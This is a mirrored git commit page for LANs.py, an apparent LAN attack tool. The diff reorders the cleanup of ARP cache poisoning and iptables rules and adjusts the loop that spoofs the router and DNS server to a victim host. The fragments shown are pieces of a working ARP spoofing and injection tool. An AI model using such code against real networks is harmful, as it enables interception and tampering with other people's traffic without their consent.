mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 21:12:12 -07:00
changed some ordering around to avoid possible threading output issues
This commit is contained in:
parent
d81f7f96b0
commit
af9926b09c
1 changed files with 5 additions and 5 deletions
10
LANs.py
10
LANs.py
|
@ -758,7 +758,7 @@ class Queued(object):
|
||||||
def fileno(self):
|
def fileno(self):
|
||||||
return self.q.get_fd()
|
return self.q.get_fd()
|
||||||
def doRead(self):
|
def doRead(self):
|
||||||
self.q.process_pending(100) # if I lower this to, say, 5, it hurts injection's reliability
|
self.q.process_pending(200) # if I lower this to, say, 5, it hurts injection's reliability
|
||||||
def connectionLost(self, reason):
|
def connectionLost(self, reason):
|
||||||
reactor.removeReader(self)
|
reactor.removeReader(self)
|
||||||
def logPrefix(self):
|
def logPrefix(self):
|
||||||
|
@ -1105,21 +1105,21 @@ def main(args):
|
||||||
logger.close()
|
logger.close()
|
||||||
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
|
with open('/proc/sys/net/ipv4/ip_forward', 'r+') as forward:
|
||||||
forward.write(ipf)
|
forward.write(ipf)
|
||||||
if not dnsIP == routerIP and dnsMAC:
|
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
|
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
|
if dnsIP != routerIP and dnsMAC:
|
||||||
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
|
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
|
||||||
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
|
Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
|
||||||
os.system('/sbin/iptables -F')
|
os.system('/sbin/iptables -F')
|
||||||
os.system('/sbin/iptables -X')
|
os.system('/sbin/iptables -X')
|
||||||
os.system('/sbin/iptables -t nat -F')
|
os.system('/sbin/iptables -t nat -F')
|
||||||
os.system('/sbin/iptables -t nat -X')
|
os.system('/sbin/iptables -t nat -X')
|
||||||
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
|
||||||
Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
|
|
||||||
exit(0)
|
exit(0)
|
||||||
signal.signal(signal.SIGINT, signal_handler)
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
while 1:
|
while 1:
|
||||||
# If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
|
# If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router
|
||||||
if dnsIP != routerIP and dnsMAC != routerMAC:
|
if dnsIP != routerIP and dnsMAC:
|
||||||
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
|
Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
|
||||||
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
|
||||||
time.sleep(1.5)
|
time.sleep(1.5)
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue